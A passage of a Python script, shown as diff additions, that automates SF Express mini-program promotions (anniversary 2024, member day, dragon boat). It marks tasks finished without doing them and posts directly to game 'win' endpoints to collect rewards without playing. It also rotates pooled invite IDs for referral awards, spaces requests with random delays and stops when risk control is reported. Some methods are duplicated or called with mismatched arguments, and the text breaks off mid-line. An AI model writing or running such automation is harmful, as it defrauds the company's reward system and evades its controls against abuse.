print(f'\n>>>>>>>开始周年庆任务') + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024IndexService~weeklyGiftStatus' + response = self.do_request(url) + if response.get('success') == True: + weekly_gift_list = response.get('obj', {}).get('weeklyGiftList', []) + for weekly_gift in weekly_gift_list: + if not weekly_gift.get('received'): + receive_start_time = datetime.strptime(weekly_gift['receiveStartTime'], '%Y-%m-%d %H:%M:%S') + receive_end_time = datetime.strptime(weekly_gift['receiveEndTime'], '%Y-%m-%d %H:%M:%S') + current_time = datetime.now() + # print(current_time) + # print(receive_start_time) + # print(receive_end_time) + if receive_start_time <= current_time <= receive_end_time: + self.anniversary2024_receive_weekly_gift() + else: + error_message = response.get('errorMessage') or json.dumps(response) or '无返回' + print(f'查询每周领券失败: {error_message}') + if '系统繁忙' in error_message or '用户手机号校验未通过' in error_message: + self.anniversary_black = True + + def anniversary2024_receive_weekly_gift(self): + print(f'>>>开始领取每周领券') + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024IndexService~receiveWeeklyGift' + response = self.do_request(url) + if response.get('success'): + product_names = [product['productName'] for product in response.get('obj', [])] + print(f'每周领券: {product_names}') + else: + error_message = response.get('errorMessage') or json.dumps(response) or '无返回' + print(f'每周领券失败: {error_message}') + if '系统繁忙' in error_message or '用户手机号校验未通过' in error_message: + self.anniversary_black = True + + def anniversary2024_taskList(self): + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~activityTaskService~taskList' + data = { + 'activityCode': 'ANNIVERSARY_2024', + 'channelType': 'MINI_PROGRAM' + } + response = self.do_request(url, data) + if response and response.get('success'): + tasks = response.get('obj', []) + # 过滤出状态为1的任务并尝试接收奖励 + for task in filter(lambda x: x['status'] == 1, tasks): + if self.anniversary_black: + return + for _ in range(task['canReceiveTokenNum']): + self.anniversary2024_fetchMixTaskReward(task) + # 过滤出状态为2的任务并完成任务 + for task in filter(lambda x: x['status'] == 2, tasks): + if self.anniversary_black: + return + if task['taskType'] in ['PLAY_ACTIVITY_GAME', 'PLAY_HAPPY_ELIMINATION', 'PARTAKE_SUBJECT_GAME']: + pass + elif task['taskType'] == 'FOLLOW_SFZHUNONG_VEDIO_ID': + pass + elif task['taskType'] in ['BROWSE_VIP_CENTER', 'GUESS_GAME_TIP', 'CREATE_SFID', 'CLICK_MY_SETTING', + 'CLICK_TEMPLATE', 'REAL_NAME', 'SEND_SUCCESS_RECALL', 'OPEN_SVIP', + 'OPEN_FAST_CARD', 'FIRST_CHARGE_NEW_EXPRESS_CARD', 'CHARGE_NEW_EXPRESS_CARD', + 'INTEGRAL_EXCHANGE']: + pass + else: + for _ in range(task['restFinishTime']): + if self.anniversary_black: + break + self.anniversary2024_finishTask(task) + + def anniversary2024_finishTask(self, task): + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonRoutePost/memberEs/taskRecord/finishTask' + data = {'taskCode': task['taskCode']} + response = self.do_request(url, data) + if response and response.get('success'): + print('完成任务[%s]成功' % task['taskName']) + # 完成任务后获取任务奖励的逻辑 + self.anniversary2024_fetchMixTaskReward(task) + else: + print('完成任务[%s]失败: %s' % ( + task['taskName'], response.get('errorMessage') or (json.dumps(response) if response else '无返回'))) + + def anniversary2024_fetchMixTaskReward(self, task): + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024TaskService~fetchMixTaskReward' + data = { + 'taskType': task['taskType'], + 'activityCode': 'ANNIVERSARY_2024', + 'channelType': 'MINI_PROGRAM' + } + response = self.do_request(url, data) + if response and response.get('success'): + reward_info = response.get('obj', {}).get('account', {}) + received_list = [f"[{item['currency']}]X{item['amount']}" for item in + reward_info.get('receivedAccountList', [])] + turned_award = reward_info.get('turnedAward', {}) + if turned_award.get('productName'): + received_list.append(f"[优惠券]{turned_award['productName']}") + print('领取任务[%s]奖励: %s' % (task['taskName'], ', '.join(received_list))) + else: + error_message = response.get('errorMessage') or json.dumps(response) or '无返回' + print('领取任务[%s]奖励失败: %s' % (task['taskName'], error_message)) + if '用户手机号校验未通过' in error_message: + self.anniversary_black = True + + def anniversary2024_unbox(self): + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024CardService~unbox' + response = self.do_request(url, {}) + if response and response.get('success'): + account_info = response.get('obj', {}).get('account', {}) + unbox_list = [f"[{item['currency']}]X{item['amount']}" for item in + account_info.get('receivedAccountList', [])] + print('拆盒子: %s' % ', '.join(unbox_list) or '空气') + else: + error_message = response.get('errorMessage') or json.dumps(response) or '无返回' + print('拆盒子失败: %s' % error_message) + if '用户手机号校验未通过' in error_message: + self.anniversary_black = True + + def anniversary2024_game_list(self): + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024GameParkService~list' + response = self.do_request(url, {}) + try: + if response['success']: + topic_pk_info = response['obj'].get('topicPKInfo', {}) + search_word_info = response['obj'].get('searchWordInfo', {}) + happy_elimination_info = response['obj'].get('happyEliminationInfo', {}) + + if not topic_pk_info.get('isPassFlag'): + print('开始话题PK赛') + # 这里调用话题PK赛列表相关函数 + self.anniversary2024_TopicPk_topicList() + + if not search_word_info.get('isPassFlag') or not search_word_info.get('isFinishDailyFlag'): + print('开始找字游戏') + for i in range(1, 11): + wait_time = random.randint(1000, 3000) / 1000.0 # 转换为秒 + time.sleep(wait_time) + if not self.anniversary2024_SearchWord_win(i): + break + + if not happy_elimination_info.get('isPassFlag') or not happy_elimination_info.get('isFinishDailyFlag'): + print('开始消消乐') + for i in range(1, 31): + wait_time = random.randint(2000, 4000) / 1000.0 # 转换为秒 + time.sleep(wait_time) + if not self.anniversary2024_HappyElimination_win(i): + break + else: + error_message = response['errorMessage'] or json.dumps(response) or '无返回' + print('查询游戏状态失败: ' + error_message) + if '用户手机号校验未通过' in error_message: + self.anniversary_black = True + except Exception as e: + print(str(e)) + + def anniversary2024_SearchWord_win(self, index): + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024SearchWordService~win' + success = True + try: + data = {'index': index} + response = self.do_request(url, data) + if response and response.get('success'): + currency_list = response.get('obj', {}).get('currencyDTOList', []) + rewards = ', '.join([f"[{c.get('currency')}]X{c.get('amount')}" for c in currency_list]) + print(f'找字游戏第{index}关通关成功: {rewards if rewards else "未获得奖励"}') + else: + error_message = response.get('errorMessage') or json.dumps(response) or '无返回' + print(f'找字游戏第{index}关失败: {error_message}') + if '系统繁忙' in error_message: + success = False + except Exception as e: + print(e) + finally: + return success + + def anniversary2024_HappyElimination_win(self, index): + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024HappyEliminationService~win' + success = True + data = {'index': index} + response = self.do_request(url, data) + try: + if response and response.get('success'): + is_award = response['obj'].get('isAward') + currency_dto_list = response['obj'].get('currencyDTOList', []) + rewards = ', '.join([f"[{c.get('currency')}]X{c.get('amount')}" for c in currency_dto_list]) + print(f'第{index}关通关: {rewards if rewards else "未获得奖励"}') + else: + error_message = response.get('errorMessage') or json.dumps(response) or '无返回' + print(f'第{index}关失败: {error_message}') + if '系统繁忙' in error_message: + success = False + except Exception as e: + print(e) + success = False + finally: + return success + + def anniversary2024_TopicPk_chooseSide(self, index): + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024TopicPkService~chooseSide' + success = True + data = {'index': index, 'choose': 0} # 选择某一边 + response = self.do_request(url, data) + try: + if response and response.get('success'): + currency_dto_list = response['obj'].get('currencyDTOList', []) + rewards = ', '.join([f"[{c.get('currency')}]X{c.get('amount')}" for c in currency_dto_list]) + print(f'话题PK赛选择话题{index}成功: {rewards if rewards else "未获得奖励"}') + else: + error_message = response['errorMessage'] or json.dumps(response) or '无返回' + print(f'话题PK赛选择话题{index}失败: {error_message}') + if '系统繁忙' in error_message: + success = False + except Exception as e: + print(e) + success = False + finally: + return success + + def anniversary2024_TopicPk_topicList(self): + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024TopicPkService~topicList' + response = self.do_request(url, {}) + try: + if response and response.get('success'): + topics = response['obj'].get('topics', []) + for topic in topics: + if not topic.get('choose'): + index = topic.get('index', 1) + wait_time = random.randint(2000, 4000) / 1000.0 # 转换为秒 + time.sleep(wait_time) # 等待 + if not self.anniversary2024_TopicPk_chooseSide(index): + break + else: + error_message = response['errorMessage'] or json.dumps(response) or '无返回' + print(f'查询话题PK赛记录失败: {error_message}') + except Exception as e: + print(e) + + def anniversary2024_queryAccountStatus_refresh(self): + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024CardService~queryAccountStatus' + response = self.do_request(url, {}) + try: + if not response or not response.get('success'): + error_message = response['errorMessage'] or json.dumps(response) or '无返回' + print(f'查询账户状态失败: {error_message}') + except Exception as e: + print(e) + + def anniversary2024_TopicPk_chooseSide(self, index): + success = True + data = { + 'index': index, + 'choose': 0 + } + self.headers['channel'] = '31annizyw' + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024TopicPkService~chooseSide' + result = self.do_request(url, data, 'post') + + if result and result.get('success'): + currency_dto_list = result.get('obj', {}).get('currencyDTOList', []) + if currency_dto_list: + rewards = [f"[{currency['currency']}]{currency['amount']}次" for currency in currency_dto_list] + print(f'话题PK赛第{index}个话题选择成功: {", ".join(rewards)}') + else: + print(f'话题PK赛第{index}个话题选择成功') + else: + error_message = result.get('errorMessage') if result else '无返回' + print(f'话题PK赛第{index}个话题失败: {error_message}') + if error_message and '系统繁忙' in error_message: + success = False + + return success + + def anniversary2024_titleList(self): + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024GuessService~titleList' + response = self.do_request(url) + + if response and response.get('success'): + + guess_title_info_list = response.get('obj', {}).get('guessTitleInfoList', []) + today_titles = [title for title in guess_title_info_list if title['gameDate'] == self.today] + for title_info in today_titles: + if title_info['answerStatus']: + print('今日已回答过竞猜') + else: + answer = self.answer + if answer: + self.anniversary2024_answer(title_info, answer) + print(f'进行了答题: {answer}') + else: + error_message = response.get('errorMessage') if response else '无返回' + print(f'查询每日口令竞猜失败: {error_message}') + + def anniversary2024_titleList_award(self): + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024GuessService~titleList' + response = self.do_request(url) + + if response and response.get('success'): + + guess_title_info_list = response.get('obj', {}).get('guessTitleInfoList', []) + today_awards = [title for title in guess_title_info_list if title['gameDate'] == self.today] + + for award_info in today_awards: + if award_info['answerStatus']: + awards = award_info.get('awardList', []) + award_info.get('puzzleList', []) + awards_description = ', '.join([f"{award['productName']}" for award in awards]) + print(f'口令竞猜奖励: {awards_description}' if awards_description else '今日无奖励') + else: + print('今日还没回答竞猜') + else: + error_message = response.get('errorMessage') if response else '无返回' + print(f'查询每日口令竞猜奖励失败: {error_message}') + + # 向API发送答题请求 + def anniversary2024_answer(self, answer_info): + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024GuessService~answer' + data = {'period': answer_info['period'], 'answerInfo': answer_info} + response = self.do_request(url, data) + if response and response.get('success'): + print('口令竞猜回答成功') + self.anniversary2024_titleList_award() # 通过奖励接口验证答案 + else: + error_message = response.get('errorMessage') if response else '无返回' + print(f'口令竞猜回答失败: {error_message}') + + # 查询账户状态 + def anniversary2024_queryAccountStatus(self): + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024CardService~queryAccountStatus' + result = self.do_request(url) + if result.get('success'): + account_currency_list = result.get('obj', {}).get('accountCurrencyList', []) + unbox_chance_currency = [currency for currency in account_currency_list if + currency.get('currency') == 'UNBOX_CHANCE'] + unbox_chance_balance = unbox_chance_currency[0].get('balance') if unbox_chance_currency else 0 + + # print('可以拆' + str(unbox_chance_balance) + '次盒子') + # while unbox_chance_balance > 0: + # self.anniversary2024_unbox() + # unbox_chance_balance -= 1 + else: + error_message = result.get('errorMessage') or json.dumps(result) or '无返回' + print('查询已收集拼图失败: ' + error_message) + + result = self.do_request(url) + if result.get('success'): + account_currency_list = result.get('obj', {}).get('accountCurrencyList', []) + account_currency_list = [currency for currency in account_currency_list if + currency.get('currency') != 'UNBOX_CHANCE'] + if account_currency_list: + cards_li = account_currency_list + card_info = [] + self.cards = { + 'CARD_1': 0, + 'CARD_2': 0, + 'CARD_3': 0, + 'CARD_4': 0, + 'CARD_5': 0, + 'CARD_6': 0, + 'CARD_7': 0, + 'CARD_8': 0, + 'CARD_9': 0, + 'COMMON_CARD': 0 + } + for card in cards_li: + currency_key = card.get('currency') + if currency_key in self.cards: + self.cards[currency_key] = int(card.get('balance')) + card_info.append('[' + card.get('currency') + ']X' + str(card.get('balance'))) + + Log(f'已收集拼图: {card_info}') + cards_li.sort(key=lambda x: x.get('balance'), reverse=True) + + else: + print('还没有收集到拼图') + else: + error_message = result.get('errorMessage') or json.dumps(result) or '无返回' + print('查询已收集拼图失败: ' + error_message) + + def do_draw(self, cards): + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~anniversary2024CardService~collectDrawAward' + data = {"accountList": cards} + response = self.do_request(url, data) + if response and response.get('success'): + data = response.get('obj', {}) + productName = data.get('productName', '') + Log(f'抽奖成功,获得{productName}') + return True + else: + error_message = response.get('errorMessage') if response else '无返回' + print(f'抽奖失败: {error_message}') + return False + + def convert_common_card(self, cards, target_card): + # 如果共通卡(COMMON_CARD)的数量大于0,转化成目标卡 + if cards['COMMON_CARD'] > 0: + cards['COMMON_CARD'] -= 1 + cards[target_card] += 1 + return True + return False + + def can_draw(self, cards, n): + # 判断是否有足够的不同卡进行抽奖 + distinct_cards = sum(1 for card, amount in cards.items() if card != 'COMMON_CARD' and amount > 0) + return distinct_cards >= n + + def draw(self, cards, n): + drawn_cards = [] + for card, amount in sorted(cards.items(), key=lambda item: item[1]): + if card != 'COMMON_CARD' and amount > 0: + cards[card] -= 1 + drawn_cards.append(card) + if len(drawn_cards) == n: + break + if len(drawn_cards) == n: + "没有足够的卡进行抽奖" + if self.do_draw(drawn_cards): + return drawn_cards # 返回本次抽奖使用的卡 + else: + return None + + def simulate_lottery(self, cards): + while self.can_draw(cards, 9): + used_cards = self.draw(cards, 9) + print("进行了一次9卡抽奖,消耗卡片: ", used_cards) + while self.can_draw(cards, 7) or self.convert_common_card(cards, 'CARD_1'): + if not self.can_draw(cards, 7): + continue + used_cards = self.draw(cards, 7) + print("进行了一次7卡抽奖,消耗卡片: ", used_cards) + while self.can_draw(cards, 5) or self.convert_common_card(cards, 'CARD_1'): + if not self.can_draw(cards, 5): + continue + used_cards = self.draw(cards, 5) + print("进行了一次5卡抽奖,消耗卡片: ", used_cards) + while self.can_draw(cards, 3) or self.convert_common_card(cards, 'CARD_1'): + if not self.can_draw(cards, 3): + continue + used_cards = self.draw(cards, 3) + print("进行了一次3卡抽奖,消耗卡片: ", used_cards) + + def anniversary2024_task(self): + self.anniversary2024_weekly_gift_status() + if self.anniversary_black: + return + # self.anniversary2024_titleList() + # self.anniversary2024_game_list() + # self.anniversary2024_taskList() + self.anniversary2024_queryAccountStatus() + target_time = datetime(2024, 4, 3, 14, 0) + # self.simulate_lottery(self.cards) + if datetime.now() > target_time: + print('周年庆活动即将结束,开始自动抽奖') + self.simulate_lottery(self.cards) + else: + print('未到自动抽奖时间') + + def member_day_index(self): + print('====== 会员日活动 ======') + try: + invite_user_id = random.choice([invite for invite in inviteId if invite != self.user_id]) + payload = {'inviteUserId': invite_user_id} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayIndexService~index' + + response = self.do_request(url, data=payload) + if response.get('success'): + lottery_num = response.get('obj', {}).get('lotteryNum', 0) + can_receive_invite_award = response.get('obj', {}).get('canReceiveInviteAward', False) + if can_receive_invite_award: + self.member_day_receive_invite_award(invite_user_id) + self.member_day_red_packet_status() + Log(f'会员日可以抽奖{lottery_num}次') + for _ in range(lottery_num): + self.member_day_lottery() + if self.member_day_black: + return + self.member_day_task_list() + if self.member_day_black: + return + self.member_day_red_packet_status() + else: + error_message = response.get('errorMessage', '无返回') + Log(f'查询会员日失败: {error_message}') + if '没有资格参与活动' in error_message: + self.member_day_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + def member_day_receive_invite_award(self, invite_user_id): + try: + payload = {'inviteUserId': invite_user_id} + + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayIndexService~receiveInviteAward' + + response = self.do_request(url, payload) + if response.get('success'): + product_name = response.get('obj', {}).get('productName', '空气') + Log(f'会员日奖励: {product_name}') + else: + error_message = response.get('errorMessage', '无返回') + Log(f'领取会员日奖励失败: {error_message}') + if '没有资格参与活动' in error_message: + self.member_day_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + def member_day_lottery(self): + try: + payload = {} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayLotteryService~lottery' + + response = self.do_request(url, payload) + if response.get('success'): + product_name = response.get('obj', {}).get('productName', '空气') + Log(f'会员日抽奖: {product_name}') + else: + error_message = response.get('errorMessage', '无返回') + Log(f'会员日抽奖失败: {error_message}') + if '没有资格参与活动' in error_message: + self.member_day_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + def member_day_task_list(self): + try: + payload = {'activityCode': 'MEMBER_DAY', 'channelType': 'MINI_PROGRAM'} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~activityTaskService~taskList' + + response = self.do_request(url, payload) + if response.get('success'): + task_list = response.get('obj', []) + for task in task_list: + if task['status'] == 1: + if self.member_day_black: + return + self.member_day_fetch_mix_task_reward(task) + for task in task_list: + if task['status'] == 2: + if self.member_day_black: + return + if task['taskType'] in ['SEND_SUCCESS', 'INVITEFRIENDS_PARTAKE_ACTIVITY', 'OPEN_SVIP', + 'OPEN_NEW_EXPRESS_CARD', 'OPEN_FAMILY_CARD', 'CHARGE_NEW_EXPRESS_CARD', + 'INTEGRAL_EXCHANGE']: + pass + else: + for _ in range(task['restFinishTime']): + if self.member_day_black: + return + self.member_day_finish_task(task) + else: + error_message = response.get('errorMessage', '无返回') + Log('查询会员日任务失败: ' + error_message) + if '没有资格参与活动' in error_message: + self.member_day_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + def member_day_finish_task(self, task): + try: + payload = {'taskCode': task['taskCode']} + + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberEs~taskRecord~finishTask' + + response = self.do_request(url, payload) + if response.get('success'): + Log('完成会员日任务[' + task['taskName'] + ']成功') + self.member_day_fetch_mix_task_reward(task) + else: + error_message = response.get('errorMessage', '无返回') + Log('完成会员日任务[' + task['taskName'] + ']失败: ' + error_message) + if '没有资格参与活动' in error_message: + self.member_day_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + def member_day_fetch_mix_task_reward(self, task): + try: + payload = {'taskType': task['taskType'], 'activityCode': 'MEMBER_DAY', 'channelType': 'MINI_PROGRAM'} + + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~activityTaskService~fetchMixTaskReward' + + response = self.do_request(url, payload) + if response.get('success'): + Log('领取会员日任务[' + task['taskName'] + ']奖励成功') + else: + error_message = response.get('errorMessage', '无返回') + Log('领取会员日任务[' + task['taskName'] + ']奖励失败: ' + error_message) + if '没有资格参与活动' in error_message: + self.member_day_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + def member_day_receive_red_packet(self, hour): + try: + payload = {'receiveHour': hour} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayTaskService~receiveRedPacket' + + response = self.do_request(url, payload) + if response.get('success'): + print(f'会员日领取{hour}点红包成功') + else: + error_message = response.get('errorMessage', '无返回') + print(f'会员日领取{hour}点红包失败: {error_message}') + if '没有资格参与活动' in error_message: + self.member_day_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + def member_day_red_packet_status(self): + try: + payload = {} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayPacketService~redPacketStatus' + response = self.do_request(url, payload) + if response.get('success'): + packet_list = response.get('obj', {}).get('packetList', []) + for packet in packet_list: + self.member_day_red_packet_map[packet['level']] = packet['count'] + + for level in range(1, self.max_level): + count = self.member_day_red_packet_map.get(level, 0) + while count >= 2: + self.member_day_red_packet_merge(level) + count -= 2 + packet_summary = [] + remaining_needed = 0 + + for level, count in self.member_day_red_packet_map.items(): + if count == 0: + continue + packet_summary.append(f"[{level}级]X{count}") + int_level = int(level) + if int_level < self.max_level: + remaining_needed += 1 << (int_level - 1) + + Log("会员日合成列表: " + ", ".join(packet_summary)) + + if self.member_day_red_packet_map.get(self.max_level): + Log(f"会员日已拥有[{self.max_level}级]红包X{self.member_day_red_packet_map[self.max_level]}") + self.member_day_red_packet_draw(self.max_level) + else: + remaining = self.packet_threshold - remaining_needed + Log(f"会员日距离[{self.max_level}级]红包还差: [1级]红包X{remaining}") + + else: + error_message = response.get('errorMessage', '无返回') + Log(f'查询会员日合成失败: {error_message}') + if '没有资格参与活动' in error_message: + self.member_day_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + def member_day_red_packet_merge(self, level): + try: + # for key,level in enumerate(self.member_day_red_packet_map): + # pass + payload = {'level': level, 'num': 2} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayPacketService~redPacketMerge' + + response = self.do_request(url, payload) + if response.get('success'): + Log(f'会员日合成: [{level}级]红包X2 -> [{level + 1}级]红包') + self.member_day_red_packet_map[level] -= 2 + if not self.member_day_red_packet_map.get(level + 1): + self.member_day_red_packet_map[level + 1] = 0 + self.member_day_red_packet_map[level + 1] += 1 + else: + error_message = response.get('errorMessage', '无返回') + Log(f'会员日合成两个[{level}级]红包失败: {error_message}') + if '没有资格参与活动' in error_message: + self.member_day_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + def member_day_red_packet_draw(self, level): + try: + payload = {'level': str(level)} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~memberDayPacketService~redPacketDraw' + response = self.do_request(url, payload) + if response and response.get('success'): + coupon_names = [item['couponName'] for item in response.get('obj', [])] or [] + + Log(f"会员日提取[{level}级]红包: {', '.join(coupon_names) or '空气'}") + else: + error_message = response.get('errorMessage') if response else "无返回" + Log(f"会员日提取[{level}级]红包失败: {error_message}") + if "没有资格参与活动" in error_message: + self.memberDay_black = True + print("会员日任务风控") + except Exception as e: + print(e) + + def DRAGONBOAT_2024_index(self): + print('====== 查询龙舟活动状态 ======') + invite_user_id = random.choice([invite for invite in inviteId if invite != self.user_id]) + try: + self.headers['channel'] = 'newExpressWX' + self.headers[ + 'referer'] = f'https://mcs-mimp-web.sf-express.com/origin/a/mimp-activity/dragonBoat2024?mobile={self.mobile}&userId={self.user_id}&path=/origin/a/mimp-activity/dragonBoat2024&supportShare=&inviteUserId={invite_user_id}&from=newExpressWX' + payload = {} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonNoLoginPost/~memberNonactivity~dragonBoat2024IndexService~index' + + response = self.do_request(url, payload) + # print(response) + if response.get('success'): + obj = response.get('obj', [{}]) + acEndTime = obj.get('acEndTime', '') + # 获取当前时间并格式化 + current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") + comparison_time = datetime.strptime(acEndTime, "%Y-%m-%d %H:%M:%S") + # 比较当前时间是否小于比较时间 + is_less_than = datetime.now() < comparison_time + if is_less_than: + print('龙舟游动进行中....') + return True + else: + print('龙舟活动已结束') + return False + else: + error_message = response.get('errorMessage', '无返回') + if '没有资格参与活动' in error_message: + self.DRAGONBOAT_2024_black = True + Log('会员日任务风控') + return False + except Exception as e: + print(e) + return False + + def DRAGONBOAT_2024_Game_indexInfo(self): + Log('====== 开始划龙舟游戏 ======') + try: + payload = {} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~dragonBoat2024GameService~indexInfo' + + response = self.do_request(url, payload) + # print(response) + if response.get('success'): + obj = response.get('obj', [{}]) + maxPassLevel = obj.get('maxPassLevel', '') + ifPassAllLevel = obj.get('ifPassAllLevel', '') + if maxPassLevel != 30: + self.DRAGONBOAT_2024_win(maxPassLevel) + else: + self.DRAGONBOAT_2024_win(0) + + else: + error_message = response.get('errorMessage', '无返回') + if '没有资格参与活动' in error_message: + self.DRAGONBOAT_2024_black = True + Log('会员日任务风控') + return False + except Exception as e: + print(e) + return False + + def DRAGONBOAT_2024_Game_init(self): + Log('====== 开始划龙舟游戏 ======') + try: + payload = {} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~dragonBoat2024GameService~init' + + response = self.do_request(url, payload) + # print(response) + if response.get('success'): + obj = response.get('obj', [{}]) + currentIndex = obj.get('currentIndex', '') + ifPassAllLevel = obj.get('ifPassAllLevel', '') + if currentIndex != 30: + self.DRAGONBOAT_2024_win(currentIndex) + else: + self.DRAGONBOAT_2024_win(0) + + else: + error_message = response.get('errorMessage', '无返回') + if '没有资格参与活动' in error_message: + self.DRAGONBOAT_2024_black = True + Log('会员日任务风控') + return False + except Exception as e: + print(e) + return False + + def DRAGONBOAT_2024_weeklyGiftStatus(self): + print('====== 查询每周礼包领取状态 ======') + try: + payload = {} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~dragonBoat2024IndexService~weeklyGiftStatus' + + response = self.do_request(url, payload) + # print(response) + if response.get('success'): + obj = response.get('obj', [{}]) + for gift in obj: + received = gift['received'] + receiveStartTime = gift['receiveStartTime'] + receiveEndTime = gift['receiveEndTime'] + print(f'>>> 领取时间:【{receiveStartTime} 至 {receiveEndTime}】') + if received: + print('> 该礼包已领取') + continue + receive_start_time = datetime.strptime(receiveStartTime, "%Y-%m-%d %H:%M:%S") + receive_end_time = datetime.strptime(receiveEndTime, "%Y-%m-%d %H:%M:%S") + is_within_range = receive_start_time <= datetime.now() <= receive_end_time + if is_within_range: + print(f'>> 开始领取礼包:') + self.DRAGONBOAT_2024_receiveWeeklyGift() + else: + error_message = response.get('errorMessage', '无返回') + if '没有资格参与活动' in error_message: + self.DRAGONBOAT_2024_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + def DRAGONBOAT_2024_receiveWeeklyGift(self): + invite_user_id = random.choice([invite for invite in inviteId if invite != self.user_id]) + try: + payload = {"inviteUserId": invite_user_id} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~dragonBoat2024IndexService~receiveWeeklyGift' + + response = self.do_request(url, payload) + # print(response) + if response.get('success'): + obj = response.get('obj', [{}]) + if obj == [{}]: + print('> 领取失败') + return False + for gifts in obj: + productName = gifts['productName'] + amount = gifts['amount'] + print(f'> 领取【{productName} x {amount}】成功') + else: + error_message = response.get('errorMessage', '无返回') + if '没有资格参与活动' in error_message: + self.DRAGONBOAT_2024_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + def DRAGONBOAT_2024_taskList(self): + print('====== 查询推币任务列表 ======') + try: + payload = { + "activityCode": "DRAGONBOAT_2024", + "channelType": "MINI_PROGRAM" + } + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~activityTaskService~taskList' + + response = self.do_request(url, payload) + # print(response) + if response.get('success'): + obj = response.get('obj', [{}]) + for task in obj: + taskType = task['taskType'] + self.taskName = task['taskName'] + status = task['status'] + if status == 3: + Log(f'> 任务【{self.taskName}】已完成') + continue + self.taskCode = task.get('taskCode', None) + if self.taskCode: + self.DRAGONBOAT_2024_finishTask() + if taskType == 'PLAY_ACTIVITY_GAME': + self.DRAGONBOAT_2024_Game_init() + else: + error_message = response.get('errorMessage', '无返回') + if '没有资格参与活动' in error_message: + self.DRAGONBOAT_2024_black = True + Log('会员日任务风控') + except Exception as e: + print(e) + + def DRAGONBOAT_2024_coinStatus(self, END=False): + Log('====== 查询金币信息 ======') + # try: + payload = {} + url = 'https://mcs-mimp-web.sf-express.com/mcs-mimp/commonPost/~memberNonactivity~dragonBoat2024CoinService~coinStatus' + + response = self.do_request(url, payload) + # print(response) + if response.get('success'): + obj = response.get('obj', None) + if obj == None: return False + accountCurrencyList = obj.get('accountCurrencyList', []) + pushedTimesToday = obj.get('pushedTimesToday', '') + pushedTimesTotal = obj.get('pushedTimesTotal', '') + PUSH_TIMES_balance = 0 + self.COIN_balance = 0 + WELFARE_CARD_balance = 0 + for li in accountCurrencyList: + if li['currency'] == 'PUSH_TIMES': + PUSH_TIMES_balance = li['balance'] + if li['currency'] == 'COIN': + self.COIN_balance = li['balance'] + if li['currency'] == 'WELFARE_CARD': + WELFARE_CARD_balance = li['balance'] + + PUSH_TIMES = PUSH_TIMES_balance + if END: + if PUSH_TIMES_balance > 0: + for i in range(PUSH_TIMES_balance): + print(f'>> 开始第【{PUSH_TIMES_balance + 1}】次推币') + self.DRAGONBOAT_2024_pushCoin() + PUSH_TIMES -= 1 + pushedTimesToday += 1 + pushedTimesTotal += 1 + Log(f'> 剩余推币次数:【{PUSH_TIMES}】') + Log(f'> 当前金币:【{self.COIN_balance}】') + # Log(f'> 当前发财卡:【{WELFARE_CARD_balance}】') + Log(f'> 今日推币:【{pushedTimesToday}】次') + Log(f'> 